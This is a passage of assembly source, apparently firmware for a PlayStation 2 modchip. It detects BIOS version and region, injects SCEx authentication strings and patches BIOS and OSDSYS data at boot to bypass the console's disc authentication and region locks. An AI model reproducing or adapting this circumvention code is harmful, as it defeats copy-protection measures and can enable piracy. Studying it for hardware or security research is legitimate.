!IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3b;3a ;; one bit inc in h2o original 3a sx48. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG page $0800 jmp PS1_CONSOLE_PAL_YFIX page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0a00 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 snb V14_FLAG page $0a00 jmp PS2LOGO_PATCHLOAD_22_JMP1 ;; check mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 likely put on another page isolated CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$37;27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$7c;f4 mov VAR_DC3,w mov w,#$a9;9e mov VAR_DC4,w mov w,#$37;27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20;15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START_2 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; indf will need work mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov 